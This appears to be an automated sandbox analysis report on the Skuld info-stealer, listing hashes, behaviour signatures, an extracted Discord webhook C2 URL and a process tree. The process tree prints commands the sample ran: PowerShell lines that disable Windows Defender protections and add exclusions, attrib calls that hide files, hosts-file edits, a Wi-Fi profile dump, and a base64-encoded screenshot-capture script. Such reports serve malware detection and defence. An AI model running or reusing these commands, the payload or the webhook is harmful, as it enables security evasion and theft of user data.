Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-06-2024 22:54

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    4527ef40b2543cbfa46d35c25f741dae

  • SHA1

    f01565f1b655a840a6a4b1cbc070659014508aee

  • SHA256

    99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

  • SHA512

    ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

  • SSDEEP

    98304:fdWb6aDUMqI03IXN1dsv7FQMEP4KAd4f:A/UMqY1dsvBQlPTf

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1257039082274422896/395iJabK3IVPpIWgS1k1UJ3FAnHY2lWIwRcLWCTN1yTDR63aYdeLgcVrc81Dut5tbfV4

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4732
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3112
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1432
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4480
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:4580
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:3452
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:4940
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1540
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:732
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:2396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4228
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3984
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES61C7.tmp" "c:\Users\Admin\AppData\Local\Temp\iso10knp\CSC8ABB16698AF4C4C871C1FFBC5D13F8.TMP"
            4⤵
              PID:2232

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        dbb22d95851b93abf2afe8fb96a8e544

        SHA1

        920ec5fdb323537bcf78f7e29a4fc274e657f7a4

        SHA256

        e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

        SHA512

        16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

      • C:\Users\Admin\AppData\Local\Temp\EVwvdmSNIl\Display (1).png

        Filesize

        427KB

        MD5

        121110828d54f76cab57fd51bfd1da97

        SHA1

        671f7e593837a1f5b5a0a05193be480abcc37329

        SHA256

        f7f29873fcc4582630555186c0d4943b42ee05732ec8a40939e3ffb8d37e70fb

        SHA512

        becbc22f6f7e1a677959752daeb7bd061e6f5971a9c6d500d9b3a4b160a8a66560d298abfc0082440f94172c7b613ecb60dad4f531562111f230b8926fe96815

      • C:\Users\Admin\AppData\Local\Temp\RES61C7.tmp

        Filesize

        1KB

        MD5

        b173037c5a34c860ef8147cd0bdb3a2a

        SHA1

        3d90b3799256b3c2040d39b46a78083abcd72d26

        SHA256

        ed0c75d7fe711d6d794d750867e8d2b4eca2f1cbea8784a7314baddcf7644a73

        SHA512

        761e89fe43b2847bc05fe6948567d03a246dd8a0a48447156121564570ade044a0a2a8c889718fb28ba3459d22d7c11b1ba3c1552d0d86465f2f0f0daedd431f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljmitv4a.utx.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.dll

        Filesize

        4KB

        MD5

        8401f9a6032453bb1b6e9a15c9dfcb80

        SHA1

        ace54622c9a6ca007452f5bd2ba8a8c370ba1758

        SHA256

        6f6e8d4b9cbe4ce0698823d535728accb25c5b73a08b4f82c64bbc2ee04fef8e

        SHA512

        6962bba9c4c953b5c5f90d2cfdc25ae3481f2797bba9eec5379125ecd79df185b552932534dc4ff29626b5b7d6eb333bed1472940677872c76da1541df2353cc

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.5MB

        MD5

        4527ef40b2543cbfa46d35c25f741dae

        SHA1

        f01565f1b655a840a6a4b1cbc070659014508aee

        SHA256

        99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

        SHA512

        ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\iso10knp\CSC8ABB16698AF4C4C871C1FFBC5D13F8.TMP

        Filesize

        652B

        MD5

        4853c2d802674e85bf6815d86702b4d3

        SHA1

        0ebd23dd99ad7e7e1db757d5af5c3cde736ce4bc

        SHA256

        a3278d3ef4e3b2f73f752375c5aca0b5b3e408d3542f42f68edbfc4c83b88f8a

        SHA512

        aecd0633ccb2b10f99235ee2d1e545e1b761bcb34ea331754150b6c2429aaaf8b5a302f6056c06a5b2e7c4b4507492f7a48f567ab5e50fc40b7e2914a7a74309

      • \??\c:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\iso10knp\iso10knp.cmdline

        Filesize

        607B

        MD5

        b979257e0829e3cbe401aee55b811701

        SHA1

        0f429e93e4c02d6ba0d0283ceb79987e1f56816c

        SHA256

        59cc9f1280807e26f8894c175a88d858d46d4251a658380eea34a37741383556

        SHA512

        7f05a22c2ae350484068864f2b1b41d56286240598bff71ba947b3add707336c55ac755266bdfe7fda31be61ef021ca3f764fa2118353e09b1d358476889ae92

      • memory/3112-0-0x00007FF8F8F33000-0x00007FF8F8F35000-memory.dmp

        Filesize

        8KB

      • memory/3112-25-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

        Filesize

        10.8MB

      • memory/3112-12-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

        Filesize

        10.8MB

      • memory/3112-11-0x00007FF8F8F30000-0x00007FF8F99F1000-memory.dmp

        Filesize

        10.8MB

      • memory/3112-6-0x000001A6F9E60000-0x000001A6F9E82000-memory.dmp

        Filesize

        136KB

      • memory/4228-74-0x0000020B9E520000-0x0000020B9E528000-memory.dmp

        Filesize

        32KB

      • memory/4580-41-0x00000209E3590000-0x00000209E37AC000-memory.dmp

        Filesize

        2.1MB